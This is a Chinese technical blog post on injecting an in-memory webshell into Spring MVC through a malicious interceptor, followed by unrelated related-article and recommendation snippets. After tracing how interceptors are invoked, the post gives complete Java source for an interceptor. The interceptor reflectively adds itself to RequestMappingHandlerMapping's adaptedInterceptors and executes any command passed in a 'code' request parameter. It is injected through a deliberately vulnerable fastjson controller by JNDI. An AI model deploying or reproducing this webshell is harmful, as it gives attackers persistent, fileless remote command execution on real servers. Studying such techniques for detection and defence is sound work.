针对Spring MVC的Interceptor内存马

1 基础拦截器和调用流程的探索

学习、探索和实现过程很多都基于大佬的文章https://landgrey.me/blog/19/ https://landgrey.me/blog/12/

1.1 基础拦截器

前不久实现cotroller内存马能添加冰蝎代码后,又想到spring mvc的拦截器应该也可以用于注入内存马,目前的关键点在于找到拦截器是如何被触发以及如何动态添加拦截器

首先来写个正常的拦截器TestInterceptor类,并添加xml配置



然后启动程序,在访问/home/index,并添加code参数弹个计算器

1.2 探索拦截器的调用链

断点打在TestInterceptor类中,调试看看调用链

preHandle:31, TestInterceptor (bitterz.interceptors)
applyPreHandle:134, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:956, DispatcherServlet (org.springframework.web.servlet)
doService:895, DispatcherServlet (org.springframework.web.servlet)
processRequest:967, FrameworkServlet (org.springframework.web.servlet)
doGet:858, FrameworkServlet (org.springframework.web.servlet)
service:621, HttpServlet (javax.servlet.http)
service:843, FrameworkServlet (org.springframework.web.servlet)
service:728, HttpServlet (javax.servlet.http)
internalDoFilter:305, ApplicationFilterChain (org.apache.catalina.core)
doFilter:210, ApplicationFilterChain (org.apache.catalina.core)
invoke:222, StandardWrapperValve (org.apache.catalina.core)
invoke:123, StandardContextValve (org.apache.catalina.core)
invoke:472, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:171, StandardHostValve (org.apache.catalina.core)
invoke:99, ErrorReportValve (org.apache.catalina.valves)
invoke:947, AccessLogValve (org.apache.catalina.valves)
invoke:118, StandardEngineValve (org.apache.catalina.core)
service:408, CoyoteAdapter (org.apache.catalina.connector)
process:1009, AbstractHttp11Processor (org.apache.coyote.http11)
process:589, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
run:312, JIoEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

关键点在doDispatch方法,先通过getHandler方法获取了mappedHandler对象

在后方调用mappedHandler的applyPreHandler方法

这个方法中就是依次调用每个interceptor实例的preHandle方法,实际上就进入了前面写好的TestInterceptor类的preHandle方法中。

1.3 探索拦截器是如何被添加的

跟踪mappedHandler的获取过程,先是调用了org.springframework.web.servlet.DispatcherServlet中的getHandler方法

跟进getHandler方法,这里会遍历this.handlerMappings,获取HandlerMapping的实例,再调用getHandler方法

这里断点跟进getHandler函数处,会发现实际上调用了org.springframework.web.servlet.handler.AbstractHandlerMapping类中的getHandler方法

再跟进getHandlerExecutionChain方法,发现其中会遍历adaptedInterceptors这数组,并判断获取的interceptor实例是不是MappedInterceptor类的实例对象,而MappedInterceptor类就是对拦截器HandlerInterceptor接口的实现,所以前面定义的TestInterceptor自然会被加入chain中并返回

至此,拦截器的加载和调用流程就清楚了, 动态添加拦截器的话,只需要在org.springframework.web.servlet.handler.AbstractHandlerMapping类的实例对象的adaptedInterceptors数组中添加恶意interceptor实例对象即可!

那么关键就在于找到org.springframework.web.servlet.handler.AbstractHandlerMapping类的实例对象,CTRL+ALT+B找到所有AbstractHandlerMapping的子类,并在beanFactory的beanDefinitionNames中找到它的实例org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping

因此可以通过context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")获取该对象,再反射获取其中的adaptedInterceptors属性,并添加恶意interceptor实例对象即可完成内存马的注入

2 实践

首先用springmvc 写了一个包含fastjson的反序列化漏洞的controller

    @RequestMapping(value = "/postjson", method = RequestMethod.GET)
public String postJson(HttpServletRequest request){
return "postjson";
} @RequestMapping(value = "/readjson", method = RequestMethod.POST)
public String readJson(HttpServletRequest request){
String jsonStr = request.getParameter("jsonstr");
System.out.println(jsonStr); // 在控制台输出jsonStr Object obj = JSON.parseObject(jsonStr);
System.out.println(obj); // 等同于数据操作 return "readjson"; // 返回一个页面给用户
}

访问/postjson,并提交payload,而payload会发送到/readjson处,被fastjson反序列化,触发JNDI注入造成内存马的注入。首先开启LDAP和python服务,编译恶意Interceptor类

恶意Interceptor类源代码如下

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
// 获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 从context中获取AbstractHandlerMapping的实例对象
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
// 反射获取adaptedInterceptors属性
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
// 避免重复添加
for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
System.out.println("已经添加过TestInterceptor实例了");
return;
}
}
TestInterceptor aaa = new TestInterceptor("aaa"); // 避免进入实例创建的死循环
adaptedInterceptors.add(aaa); // 添加全局interceptor
} private TestInterceptor(String aaa){} @Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
// 不干扰正常业务逻辑
if (code != null) {
java.lang.Runtime.getRuntime().exec(code);
return true;
}
else {
return true;
}}}

这里提交两次payload是为了确认:不重复添加interceptor的代码生效了

可见Interceptor内存马已经注入了,现在弹个计算器验证一下

针对Spring MVC的Interceptor内存马的更多相关文章

  1. 针对spring mvc的controller内存马-学习和实验

    1 基础 实际上java内存马的注入已经有很多方式了,这里在学习中动手研究并写了一款spring mvc应用的内存马.一般来说实现无文件落地的java内存马注入,通常是利用反序列化漏洞,所以动手写了一 ...

  2. spring MVC使用Interceptor做用户登录判断

    在任何一个项目中,我们必须要用到的就是用户登录,那么就少不了用户是否登录的判断,如果我们每一个请求都要去做一次判断,那么就会变得很麻烦,但我们复制粘贴的时候我们就要考虑我们的代码写的是不是有问题,是不 ...

  3. 利用Fastjson注入Spring内存马

    此篇文章在于记录自己对spring内存马的实验研究 一.环境搭建 搭建漏洞环境,利用fastjson反序列化,通过JNDI下载恶意的class文件,触发恶意类的构造函数中代码,注入controller ...

  4. Java安全之Spring内存马

    Java安全之Spring内存马 基础知识 Bean bean 是 Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC 容器负责实例化.配置.组装和管理的对象. ...

  5. 通过拦截器Interceptor实现Spring MVC中Controller接口访问信息的记录

    java web工程项目使用了Spring+Spring MVC+Hibernate的结构,在Controller中的方法都是用于处理前端的访问信息,Controller通过调用Service进行业务 ...

  6. Spring MVC 过滤静态资源访问

    过滤的必要性 一般来说,HTTP 请求都会被映射到 DispatcherServlet,进而由具体的类来承接处理,但对于类似 js 或者 css 这样的静态资源则没必要这样,因为对资源的获取只需返回资 ...

  7. 从一个简单案例上手Spring MVC,同时分析Spring MVC面试问题

    很多公司都会用Spring MVC,而且初级程序员在面试时,一定会被问到这方面的问题,所以这里我们来通过一个简单的案例来分析Spring MVC,事实上,我们在培训中就用这个举例,很多零基础的程序员能 ...

  8. Spring MVC深入学习

    一.MVC思想 MVC思想简介:        MVC并不是java所特有的设计思想,也不是Web应用所特有的思想,它是所有面向对象程序设计语言都应该遵守的规范:MVC思想将一个应用部分分成三个基本部 ...

  9. spring mvc 启动过程及源码分析

    由于公司开源框架选用的spring+spring mvc + mybatis.使用这些框架,网上都有现成的案例:需要那些配置文件.每种类型的配置文件的节点该如何书写等等.如果只是需要项目能够跑起来,只 ...

随机推荐

  1. 754. Reach a Number

    You are standing at position 0 on an infinite number line. There is a goal at position target. On ea ...

  2. WordPress 函数do_action()详解和应用举例

      do_action()函数: 我们经常能看到在一些WordPress函数中调用了do_action()函数,例如get_header(), get_footer()等调用模板的函数中经常调用do_ ...

  3. hdu4450 不错的贪心

    题意: 卡片游戏 Time Limit: 3000/1000 MS (Java/Others)    Memory Limit: 65535/32768 K (Java/Others) Total S ...

  4. 逆向 time.h 函数库 time、gmtime 函数

    0x01 time 函数 函数原型:time_t time(time_t *t) 函数功能:返回自纪元 Epoch(1970-01-01 00:00:00 UTC)起经过的时间,以秒为单位.如果 se ...

  5. CTFHub-技能树-Bypass disable_function:LD_PRELOAD

    LD_PRELOAD 目录 LD_PRELOAD 题目描述 解题过程 简单测试 查看phpinfo 编译动态链接库 写调用代码 题目描述 目标:获取服务器上/flag文件中的 flag.需要了解 Li ...

  6. Day009 面向对象和方法回顾

    面向过程&面向对象 面向过程思想 步骤清晰简单,第一步做什么,第二步做什么..... 面象过程适合处理一些较为简单的问题 面向对象思想 物以类聚,分类的思维模式,思考问题首先会解决问题需要哪些 ...

  7. android之Tween Animation

    android Tween Animation有四种,AlphaAnimation(透明度动画).ScaleAnimation(尺寸伸缩动画).TranslateAnimation(位移动画).Rot ...

  8. 【实用小技巧】spring springmvc集成shiro时报 No bean named 'shiroFilter' available

    查了网上的,很多情况,不同的解决办法,总归一点就是配置文件加载的问题. 先看下配置文件中的配置 web.xml中的主要配置(这是修改后不在报错的:仅仅修改了一个位置:[classpath:spring ...

  9. sql常识-RIGHT JOIN

    SQL RIGHT JOIN 关键字 RIGHT JOIN 关键字会右表 (table_name2) 那里返回所有的行,即使在左表 (table_name1) 中没有匹配的行. RIGHT JOIN ...

  10. 混部之殇-论云原生资源隔离技术之CPU隔离(一)

    作者 蒋彪,腾讯云高级工程师,10+年专注于操作系统相关技术,Linux内核资深发烧友.目前负责腾讯云原生OS的研发,以及OS/虚拟化的性能优化工作. 导语 混部,通常指在离线混部(也有离在线混部之说 ...